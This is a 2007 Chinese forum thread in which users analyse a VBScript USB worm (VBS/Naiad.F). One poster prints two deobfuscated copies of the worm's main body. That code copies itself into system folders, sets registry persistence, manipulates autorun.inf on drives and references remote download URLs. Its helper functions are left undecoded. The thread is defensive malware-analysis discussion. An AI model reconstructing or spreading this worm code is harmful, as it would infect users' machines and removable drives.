卡巴不能删干净!郁闷中!MD5: A7E5BA

SONGBOWEN

再次解密的结果，同样未经检查……

1. ver="7.2"
   
2. filename="`"
   
3. infname="`.url"
   
4. timesname="`.lnk"
   
5. tile="Gover"&ver
   
6. fromurl=chr(104)&chr(116)&chr(116)&chr(112)&"://"&"u7."&chr(54)&chr(54)&chr(48)&"0.or"&chr(103)&"/u72."&chr(97)&"s"&chr(112)
   
7. fromurl2=chr(104)&chr(116)&chr(116)&chr(112)&"://"&"u6."&chr(50)&chr(50)&chr(56)&"8.or"&chr(103)&"/u72."&chr(97)&"s"&chr(112)
   
8. 'on error resume next
   
9. dim wsh
   
10. set wsh=createobject("wscript.shell")
    
11. set fso=createobject("scripting.filesystemobject")
    
12. set dir=fso.getspecialfolder(1)
    
13. set win=fso.getspecialfolder(0)
    
14. set dc=fso.drives
    
15. ouwnname=wscript.scriptname
    
16. exemulu=fso.getspecialfolder(2)&""
    
17. wbem=fso.getspecialfolder(1)&"\wbem"
    
18. mulu=left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
    
19. if mulu=dir&"" then sys=true
    
20. for each d in dc
    
21. if mulu=d&"" then opendisk=wsh.run("explorer "&d,3,false)
    
22. next
    
23. if not sys then
    
24. wscript.sleep 5000
    
25. if jincheng("wscript.exe",2)=1 then
    
26. if readtxt(dir&"\main.bin",1)= trim(date) then
    
27. wscript.quit
    
28. else
    
29. buildfile dir&"\main.bin",date
    
30. end if
    
31. end if
    
32. if jincheng("wscript.exe",2)<>1 and jincheng("wscript.exe",2) then wscript.quit
    
33. end if
    
34. chengfa
    
35. if sys then
    
36. yincang
    
37. if readtxt(mulu&infname,1)<>tile then
    
38. buildinf 1,0,0,0,0,0
    
39. end if
    
40. if readtxt(win&""&infname,1)<>tile then
    
41. buildinf 0,0,0,0,0,0
    
42. end if
    
43. lexe=readtxt(mulu&infname,5)
    
44. if fso.fileexists(exemulu&lexe) then
    
45. wsh.run exemulu&lexe
    
46. end if
    
47. if readtxt(dir&""&filename&".vbe",1)<>"'"&ver then
    
48. copyvbs dir&""&filename&".vbe"
    
49. zhuce
    
50. end if
    
51. if readtxt(win&""&filename&".vbe",1)<>"'"&ver then
    
52. copyvbs win&""&filename&".vbe"
    
53. end if
    
54. if readtxt(wbem&filename&".vbe",1)<>"'"&ver and readtxt(mulu&infname,11)=1 then
    
55. buildfile wbem&filename&".vbe",ucc(O1+O2)
    
56. end if
    
57. if readtxt(mulu&infname,11)=2 then
    
58. for each d in dc
    
59. if d.drivetype=2 then
    
60. if fso.fileexists(d&"/autorun.inf") then
    
61. delfile d&"/autorun.inf"
    
62. end if
    
63. if not fso.folderexists(d&"/autorun.inf") then
    
64. buildfold d&"/autorun.inf"
    
65. shuxing d&"/autorun.inf",1+2+4
    
66. end if
    
67. end if
    
68. next
    
69. end if
    
70. ganran
    
71. wsh.run mulu&ouwnname
    
72. else
    
73. shuxing mulu&ouwnname,2+4
    
74. copyvbs dir&""&filename&".vbe"
    
75. copyvbs win&""&filename&".vbe"
    
76. zhuce
    
77. wsh.run dir&""&filename&".vbe"
    
78. end if

复制代码

SONGBOWEN

距离完全的解密就差一步了！

haol

nod32 found VBS/Naiad.F

SONGBOWEN

完整机密以后的程序主体代码，还有一部分的过程、函数没有解密出来，不过我想我就到此为止了，其余的我就不继续做了，否则容易造成该病毒或其变种大面积传播……

1. Dim mfso,vf
   
2. set mfso=createobject("scripting.filesystemobject")
   
3. set vf=mfso.createtextfile("r7.log",true)
   
4. 'vf.writeline
   
5. 
   
6. ver="7.2"
   
7. filename="`"
   
8. infname="`.url"
   
9. timesname="`.lnk"
   
10. tile="Gover"&ver
    
11. fromurl="http://u7.6600.org/u72.asp"
    
12. fromurl2="http://u6.2288.org/u72.asp"
    
13. 
    
14. 'on error resume next
    
15. dim wsh
    
16. set wsh=createobject("wscript.shell")
    
17. set fso=createobject("scripting.filesystemobject")
    
18. set dir=fso.getspecialfolder(1)
    
19. set win=fso.getspecialfolder(0)
    
20. set dc=fso.drives
    
21. ouwnname=wscript.scriptname
    
22. exemulu=fso.getspecialfolder(2)&""
    
23. wbem=fso.getspecialfolder(1)&"\wbem"
    
24. mulu=left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
    
25. 
    
26. if mulu=dir&"" then sys=true
    
27. for each d in dc
    
28. if mulu=d&"" then opendisk=wsh.run("explorer "&d,3,false)
    
29. next
    
30. if not sys then
    
31. wscript.sleep 5000
    
32. if jincheng("wscript.exe",2)=1 then
    
33. if readtxt(dir&"\main.bin",1)= trim(date) then
    
34. wscript.quit
    
35. else
    
36. buildfile dir&"\main.bin",date
    
37. end if
    
38. end if
    
39. if jincheng("wscript.exe",2)<>1 and jincheng("wscript.exe",2) then wscript.quit
    
40. end if
    
41. chengfa
    
42. if sys then
    
43. yincang
    
44. if readtxt(mulu&infname,1)<>tile then
    
45. buildinf 1,0,0,0,0,0
    
46. end if
    
47. if readtxt(win&""&infname,1)<>tile then
    
48. buildinf 0,0,0,0,0,0
    
49. end if
    
50. lexe=readtxt(mulu&infname,5)
    
51. if fso.fileexists(exemulu&lexe) then
    
52. wsh.run exemulu&lexe
    
53. end if
    
54. if readtxt(dir&""&filename&".vbe",1)<>"'"&ver then
    
55. copyvbs dir&""&filename&".vbe"
    
56. zhuce
    
57. end if
    
58. if readtxt(win&""&filename&".vbe",1)<>"'"&ver then
    
59. copyvbs win&""&filename&".vbe"
    
60. end if
    
61. if readtxt(wbem&filename&".vbe",1)<>"'"&ver and readtxt(mulu&infname,11)=1 then
    
62. buildfile wbem&filename&".vbe",ucc(O1+O2)
    
63. end if
    
64. if readtxt(mulu&infname,11)=2 then
    
65. for each d in dc
    
66. if d.drivetype=2 then
    
67. if fso.fileexists(d&"/autorun.inf") then
    
68. delfile d&"/autorun.inf"
    
69. end if
    
70. if not fso.folderexists(d&"/autorun.inf") then
    
71. buildfold d&"/autorun.inf"
    
72. shuxing d&"/autorun.inf",1+2+4
    
73. end if
    
74. end if
    
75. next
    
76. end if
    
77. ganran
    
78. wsh.run mulu&ouwnname
    
79. else
    
80. shuxing mulu&ouwnname,2+4
    
81. copyvbs dir&""&filename&".vbe"
    
82. copyvbs win&""&filename&".vbe"
    
83. zhuce
    
84. wsh.run dir&""&filename&".vbe"
    
85. end if

复制代码

googlehack

病毒名称很奇特。加密方法也很深啊！

SONGBOWEN

原帖由 googlehack 于 2007-11-6 23:09 发表
病毒名称很奇特。加密方法也很深啊！

岂止很深……
我快郁闷了，不过还好，目前已经完整的恢复了病毒加密以前的原貌！

wangjun1984

NOD32

2007-11-7 0:47:23        Real-time file system protection        file        C:\Documents and Settings\SM\桌面\样本\autorun.inf        INF/Autorun virus        deleted - quarantined        NT AUTHORITY\SYSTEM        Event occurred on a new file created by the application: C:\Program Files\WinRAR\WinRAR.exe.

xqiafl

用U盘免疫,直接打开就行了.